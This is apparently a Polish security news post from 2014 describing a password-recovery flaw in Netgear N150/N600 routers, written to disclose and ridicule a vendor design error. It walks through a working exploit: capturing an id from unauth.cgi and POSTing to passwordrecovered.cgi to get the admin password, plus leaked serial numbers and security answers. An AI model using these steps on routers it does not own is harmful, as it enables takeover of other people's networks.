Odzyskiwanie hasła administratora w ruterze Netgear N150 i N600

dodał 13 stycznia 2014 o 23:43 w kategorii Wpadki  z tagami:
Odzyskiwanie hasła administratora w ruterze Netgear N150 i N600

Jeśli macie w domu ruter Netgeara N150 lub N600 (a pewnie także i inne modele), do którego zapomnieliście hasła, to zamiast resetować konfigurację całego urządzenia możecie je po prostu odzyskać – i to na dwa różne sposoby.

Ruter standardowo oferuje możliwość odzyskania hasła administratora po podaniu numeru seryjnego oraz odpowiedzi na wcześniej zdefiniowane pytanie użytkownika. Nie trzeba jednak znać tych parametrów, by przeprowadzić udany proces resetu hasła. Jak podaje niejaki c1ph04, wystarczy odpowiednio skonstruowane żądanie POST.

Netgear N150

Netgear N150

Pierwsza metoda

Krok pierwszy: wchodzimy na adres http://192.168.1.1 (lub inny, który przypisany jest do naszego rutera) i zamiast podać hasło wybieramy opcję „anuluj”. Dostajemy od serwera www następująca odpowiedź:

HTTP/1.0 401 Unauthorized
WWW-Authenticate: Basic realm="NETGEAR WNR1000v3"
Content-type: text/html
<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>
<title>401 Unauthorized</title></head>
<body onload="document.aForm.submit()"><h1>401 Unauthorized</h1>
<p>Access to this resource is denied, your client has not supplied the correct authentication.</p><form method="post" 
action="unauth.cgi?id=78185530" name="aForm"></form></body>
</html>

Krok drugi: Zapamiętujemy parametr wywołania skryptu unauth.cgi.

Krok trzeci: Wysyłamy do serwera www żądanie:

POST http://192.168.1.1/passwordrecovered.cgi?id=78185530 HTTP/1.1

i w odpowiedzi dostajemy

 <td align="right">Router Admin Username</td>
 <td align="left">admin</td>
 </tr>
 <tr>
 <td align="right">Router Admin Password</td>
 <td align="left">D0n'tGuessMe!</td>

Nie było to trudne, prawda? Krótkie przeszukanie sieci wskazało także na inną metodę, której autor twierdzi, że działa na modelu N600, ale wygląda bardzo podobnie.

Druga metoda

Jak pewnie pamiętacie, by wyświetlić hasło administratora trzeba podać numer seryjny urządzenia oraz odpowiedź na wcześniej ustalone pytanie. Aby zobaczyć numer seryjny wystarczy nieudany proces logowania, w konsekwencji którego dostajemy odpowiedź:

<HTML><HEAD><LINK rel="stylesheet" href="/style/form.css">
<TITLE> 401 Authorization</TITLE>
<META http-equiv=content-type content='text/html; charset=UTF-8'>
<script>
function loadvalue()
{
       var enable_recovery="1";
       var enter_sn_again="0";
 var last_error_sn="2T82195D0093D";
       if( enable_recovery == "1" )

gdzie pod koniec kodu widać poszukiwany numer seryjny rutera. Z kolei treść pytania i odpowiedzi dostaniemy po wywołaniu skryptu securityquestions.cgi:

<HTML><HEAD>
<TITLE> Router Password Recovery</TITLE>
<META http-equiv=content-type content='text/html; charset=UTF-8'>
<LINK rel="stylesheet" href="/style/form.css">
<script>
var quest1_1="What was the name of the first NETGEAR product you purchased?";
var quest1_2="What was the name of the first school you attended?";
function loadvalue()
{
var answer_again="1";
var last_error_ans1="Answer one";
var last_error_ans2="Answer two";

Pozostaje chyba tylko załamać ręce i pozdrowić serdecznie architektów odpowiedzialnych za zaprojektowanie procesu odzyskiwania hasła i programistów, którzy go wdrożyli. Na szczęście ataki można przeprowadzić jedynie posiadając dostęp do interfejsu www rutera, który domyślnie jest dostępny tylko w sieci lokalnej.